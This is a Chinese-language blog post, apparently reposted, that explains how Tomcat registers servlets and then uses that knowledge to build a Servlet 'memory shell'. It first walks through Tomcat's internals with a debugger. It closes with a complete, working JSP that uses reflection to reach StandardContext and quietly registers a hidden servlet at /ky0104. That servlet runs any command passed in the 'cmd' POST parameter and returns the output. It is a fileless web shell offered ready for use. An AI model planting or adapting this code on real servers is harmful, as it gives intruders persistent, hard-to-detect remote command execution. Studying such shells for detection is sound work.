Tomcat-Servlet内存马

Tomcat-Servlet内存马

前面学习了 Listener/Filter 内存马,今天来学习一下 Servlet 内存马!

前景知识与工程搭建

调试之前先来看一些相关类和属性,首先是 ServletDef 这个类,这个类有 servletName/servletClass 这两个属性,对应着的是 web.xml 里面的 / 这两个标签

<servlet>
    <servlet-name>Servletservlet-name>
    <servlet-class>com.sec.example.ServletDemoservlet-class>
servlet>

然后是 WebXml.servletMappings 这个属性,这个属性对应着的是 web.xml 里面的 标签

<servlet-mapping>
    <servlet-name>Servletservlet-name>
    <url-pattern>/servletDemourl-pattern>
servlet-mapping>

最后是 WebXml 类,这个是和 web.xml 相关联的一个类!

工程搭建

IDEA 创建一个 web 工程,编写如下 Servlet 用于调试分析

@WebServlet("/servletDemo")
public class ServletDemo extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().write("ky1230");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

因为调试涉及到 Tomcat 中间件包里的代码,所以需要把 Tomcat 下 lib 目录下的包都导入进来
Tomcat-Servlet内存马_第1张图片

调试分析

ContextConfig#processClass 方法处下断点,调试启动 Tomcat 中间件,程序会停在这个方法上。方法先获取类上的所有注释,然后获取注释类型,根据类型进入不同的方法进行处理,这里因为是 Servlet 注释,所以进入的是 processAnnotationWebServlet 方法进行处理
Tomcat-Servlet内存马_第2张图片
跟进 processAnnotationWebServlet 方法,先从 web.xml 中获取 Servlet 相关的信息,因为我们是通过注释进行配置 Servlet 的,所以这里获取到的 servletDef 为空,为空则把从注释获取到的信息赋值给 servletDef
Tomcat-Servlet内存马_第3张图片
继续跟进,这里获取到 Servlet 对应的路径并赋值给 urlPatterns ,把 servletDef 添加到 fragment 里面,再把 urlPatternservletName 添加到 fragment 里面
Tomcat-Servlet内存马_第4张图片
跟进一下 addServletMapping 方法,可以看到其实是把 urlPatternservletName 添加到 servletMappings HashMap 里面了
Tomcat-Servlet内存马_第5张图片
继续跟进,在 ContextConfig#configureContext 方法里,获取所有前面装配进 Webxml 的 Servlet,然后创建一个 Wrapper ,再判断 Servlet 里对应的 loadOnStartup 是否为空,不为空则把 loadOnStartup 设置进 Wrapper 里,最后设置 Wrapper.name 为 Servlet 的 name
Tomcat-Servlet内存马_第6张图片
loadOnStartup 其实就是 web.xml 配置 Servlet 时的一个配置

<load-on-startup>1load-on-startup>

继续跟进,最后把 wrapper 加入到 Child
Tomcat-Servlet内存马_第7张图片
从 webxml 中获取所有前面装配进 WebxmlservletMappings
Tomcat-Servlet内存马_第8张图片
跟进 addServletMappingDecoded 方法,这里最终添加到的是 StandardContext#servletMappings 属性
Tomcat-Servlet内存马_第9张图片
继续跟进到 StandardContext#loadOnStartup 方法,这里获取所有的 child 和 对应的 loadOnStartup ,当 loadOnStartup 大于等于 0 时把 wrapper 加入到 map 当中
Tomcat-Servlet内存马_第10张图片
继续跟进,把所有的 wrapper 加入到 map 中后从遍历获取 map 中的 wrapper 并调用其 load 方法
Tomcat-Servlet内存马_第11张图片
跟进 load 方法,最终进入到 loadServlet 方法,判断 instance 是否为空,不为空则直接返回 instance,为空则实例化这个 wrapper 对应的 servletClass
Tomcat-Servlet内存马_第12张图片
至此,调试分析就到这了,现在再看一下 StandardWrapper#setServlet 方法,这个方法可以设置 instance 属性,后面构造会用到

构造内存马注入

因为在 loadOnStartup 方法中获取到的是 StandardContextchild ,所以我们先获取到 StandardContext ,然后创建一个 Wrapper,往里面注入 LoadOnStartup/Name/instance,再把 Wrapper 注入到 StandardContext 中,最后往 StandardContext 中注入 ServletMapping 即可

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%	// 构造恶意的 HttpServlet,使用 POST 方式进行传递命令参数
    HttpServlet servlet = new HttpServlet() {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            super.doGet(req, resp);
        }

        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                int i = 0;
                byte[] bytes = new byte[1024];
                while ((i = inputStream.read(bytes)) != -1){
                    resp.getWriter().write(new String(bytes,0,i));
                    resp.getWriter().write("\r\n");
                }
            }
        }
    };
%>

<%	// 获取 StandardContext
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>

<%	// 构造恶意 Wrapper 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(servlet.getClass().getName());
    //wrapper.setServletClass(servlet.getClass().getName());
    wrapper.setServlet(servlet);
%>
 
<%	//往 standardContext 中注入恶意 Wrapper 以及 ServletMapping
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/ky0104",servlet.getClass().getName());
%>

Reference:

https://blog.csdn.net/angry_program/article/details/118492214

你可能感兴趣的:(内存马,tomcat,java,中间件)